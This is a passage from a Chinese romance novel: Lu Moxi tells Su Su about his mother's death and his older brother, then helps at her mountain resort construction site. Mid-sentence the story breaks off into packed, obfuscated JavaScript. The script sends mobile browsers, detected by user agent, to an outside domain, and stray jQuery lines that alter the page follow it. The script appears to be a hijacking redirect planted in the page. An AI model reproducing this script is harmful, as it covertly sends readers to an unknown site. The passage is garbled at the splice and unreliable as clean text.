房间里安静得能听听见彼此的心跳声。
阳光斜斜地照进来,在陆默熹身上投下斑驳的光影。
他坐在床边的木椅上,身体微微前倾,苏酥靠在床头,捧着温热的水杯,没有催促。
她敏锐地察觉到他那突如其来的脆弱。
“我母亲,”他终于开口,“是在生完我之后去世的。”
苏酥的心轻轻一颤,她看着他轮廓分明的侧脸,没有打断。
“不是难产。是生完我之后,身体太虚弱,免疫力下降,碰巧感染了当时正在流行的传染病。”
他顿了顿,喉结滚动了一下,“走得很急,我父亲后来很少提起她,家里甚至没有几张她的照片,我只在旧相册里见过几张,很温柔的样子。”
他的语气平淡得像在叙述别人的故事,苏酥此刻的心却绞痛异常。
眼前的人面色宁静,嘴唇随着他的动作颤抖着失去血色。
“小时候,父亲很忙,公司正在上升期。照顾我的是哥哥,陆默悟。”
提到哥哥的名字,陆默熹的嘴角牵动了一下,像是想笑,又顿住了。
“他比我大五岁,一个半大孩子,被迫承担起照顾婴儿弟弟的责任。”
“一开始,他很讨厌我。”陆默熹抬起眼,看向苏酥,眼神里只有痛楚。
“他觉得是我害死了妈妈,这是理所当然的,不是吗?如果没有我,妈妈就不会走。”
苏酥下意识地想开口反驳,却被他轻轻摇头制止了。
“我记得有一次,我发高烧,大概是四五岁的时候,他抱着我去医院,路上我哭闹不止。”
“他那时候也才十岁,又累又烦,冲我吼,说‘要是没有你就好了’……”
陆默熹的声音突然放大,像是被迫陷入某种回忆里,他五指紧握成拳,眸底处腾起细雾,眼尾沟有些泛红。
他停顿了很久,房间里只剩下两人清浅的呼吸声。
“但他说完就后悔了。”
他继续道,声音有些哽咽,“他看着我,看着我和母亲相似的脸,他们都这么说,我长得更像母亲。他就再也狠不下心了,他抱着我,一遍遍地说‘对不起,哥哥错了’。”
陆默熹从那段沉重的回忆里扯出一个苦涩的笑容:“从那以后,他再也没说过那样的话,他学着给我冲营养奶,后来教我骑车,辅导我功课,他努力扮演着父亲和母亲的双重角色。”
“父亲对哥哥寄予厚望,从小就把他当作接班人培养,要求极为严格,对我……”
陆默熹顿了顿,似乎在寻找合适的词语,“则始终是不冷不热。他供养我,尽到了法律意义上的责任,但更多的,似乎就没有了,也许他看到我,就会想起母亲的离去。”
苏酥想象着那个在父爱缺失、兄长矛盾关爱下长大的小男孩,心里泛起细细密密的疼。
“我就这么……在一种复杂的情绪里长大。”
他微微合眼,“我感激哥哥,又为给他带来的负担感到愧疚……渴望父亲的认可,又清楚地知道那几乎不可能。我觉得自己像个错误的存在,却又被哥哥用力地拉扯着。”
他深吸了一口气,再睁开眼时,眼神已经恢复了更多的平静。
“后来大学,我执意选了最远的学校,去了美国,读计算机。一方面是想逃离那个令人窒息的环境,另一方面……也是想证明自己,不靠家里,我能做成什么。”
说到这里,他紧绷的神色才稍稍松动,露出真正的笑意。
“然后我发现,我在代码和算法上有种特别的天赋。那是一个全新的世界,逻辑清晰,规则明确,没有复杂难辨的情感。我沉浸其中,很幸运,抓住了一些机会,赚到了第一桶金,然后是很多很多钱。”
“经济独立带来的自由,让我第一次感觉能真正呼吸,我以为我会一直留在那里。”
“但后来,家里叫我回国。”
他看向苏酥,眼神变得深邃,“哥哥的压力很大,父亲的身体也不如从前,我……终究没能彻底割舍。”
他的目光落在苏酥脸上,带着格外的专注。
“回国后,处理一些家族事务,也做一些自己的投资。生活似乎又回到了某种轨道上,直到……”
他停了下来,深深地望着苏酥,后面的话没有说出口,但那个停顿,那个眼神,已经说明了一切。
直到遇到你。
房间里再次陷入寂静,阳光移动着,将空气中的微尘照得清晰可见。
苏酥看着他,看着他眼中尚未完全褪去的悲伤,以及那份因提及她而悄然浮现的柔和。
她忽然明白,陆默熹此刻的坦诚,剥开所有坚硬的外壳,将自己最不为人知的脆弱和过往摊开在她面前,是多么沉重的信任。
她没有说任何苍白的安慰的话。
她只是伸出手,轻轻覆在他交握的手背上。
她的掌心温暖,带着病后初愈的些许柔软。
陆默熹的身体僵了一下,随即,他反手握住她的手,力道有些紧。
他没有再看她,只是低着头,看着两人交握的手,久久没有松开。
……
这次深谈之后,仿佛解开了他们之间的一道无形的锁。
苏酥再看陆默熹时,目光总是不自觉地在意。
她开始注意到一些以往忽略的细节。
陆默熹其实是个有点强迫症的人。
有一次,苏酥去厨房想帮忙盛饭,随手将饭勺放在了电饭锅的盖子上。
她正准备端菜出去,眼角的余光瞥见陆默熹极其自然地走过去,拿起那个饭勺,用旁边的布巾擦拭了一下勺柄,然后精准地放回了灶台右手边那个的位置。
苏酥愣住了,下意识地看向那口他常用的黑色铁锅。
果然,每次用完,他都会仔细清洗,然后放在灶上小火烘干,再用软布抹上薄薄一层油保养。
更让她惊奇的是他的时间管理。
每天中午十二点,下午五点,分秒不差,陆默熹总会提着保温食盒,出现在他们的工作室或者工地上。
里面是他换着花样做的,营养均衡的饭菜。
“先吃饭。”
他的语气懒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450461|179511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
散,会拉过一把椅子坐在她对面,看着她拿起筷子,自己才端起饭碗。
苏酥起初还有些不好意思,尤其是在工地上,周围都是忙碌的姐妹。
但陆默熹做得极其自然,久而久之,大家也都习惯了每天准时来给她送补给。
甚至,偶尔还会打趣两句,苏酥也从最初的害羞变得坦然。
饭后,他并不会立刻离开。
他会很自然地留在现场,双手插在裤袋里,看似随意地巡视着逐渐成型的地基和建筑轮廓。
他的目光毒辣,常常能发现一些被忽略的问题。
“东侧那根承重柱的浇筑模板,左下角有点渗浆,最好加固一下。”他指着不远处对羽智说。
羽智派人去检查,果然如此。
“排水管道的预设坡度,再核对一遍图纸,感觉这里比设计值低了一点点。”
他蹲在挖开的地基沟旁,对负责水电的工头建议。
重新测量后,确实存在十分微小偏差。
他并非建筑专业出身,但那种基于逻辑和观察的精准判断,常常能一针见血,让在场的人茅塞顿开,迅速找到问题所在。
“太厉害了!陆助理!”
“是啊,这都怎么发现的?”
羽智团队从一开始的将信将疑,到后来会主动询问他的看法。
建造区域一天一个样。
地基夯实,墙体一天天垒高,木质框架撑起了屋顶的雏形,沿着新修好的坚固山路,更多的环保材料顺利运抵。
周围埋进了新的花草种子,从远处运来数不清的植物装饰,藤蔓顺着爬上架子、白墙。
一切都在按照图纸扩建。
原本荒芜的山坡,被一点点赋予了建筑的骨骼与肌理,一个融合了现代设计与山村风情的度假村,正缓缓揭开面纱。
天气不知不觉热了起来。
蝉鸣不知何时开始变得喧嚣,阳光也变得炽烈灼人,山风裹挟着泥土和青草的气息,变得温热。
气温又回到了他们初见时的那个夏天。
苏酥站在初具规模的度假村主体建筑前,用手遮在额前,眺望着这片倾注了她和所有人心血的土地。
汗水顺着她的鬓角滑落,后背也被洇湿了一片,但她的心情却如同这晴朗的夏日,明亮、充满希望。
她下意识地在人群中寻找那个熟悉的身影。
很快,她看到了陆默熹。
他正站在不远处的阴凉下,对着摊开的图纸和人讨论着什么。
他今天穿了件浅灰色的条纹POLO衫,额发被汗水打湿了几缕,侧脸线条在明晃晃的日光下显得格外清晰。
他似乎察觉到了她的目光,讨论的间隙,忽然抬起头,准确无误地朝她的方向望了过来。
隔着忙碌穿梭的人群,隔着尘土飞扬的工地,隔着整个喧闹的夏日,他们的视线在空中相遇。
没有言语,没有动作。
苏酥只觉得心口像是被什么东西轻轻撞了一下。
阳光太刺眼,让她有些晕眩,脸颊也莫名地开始发烫。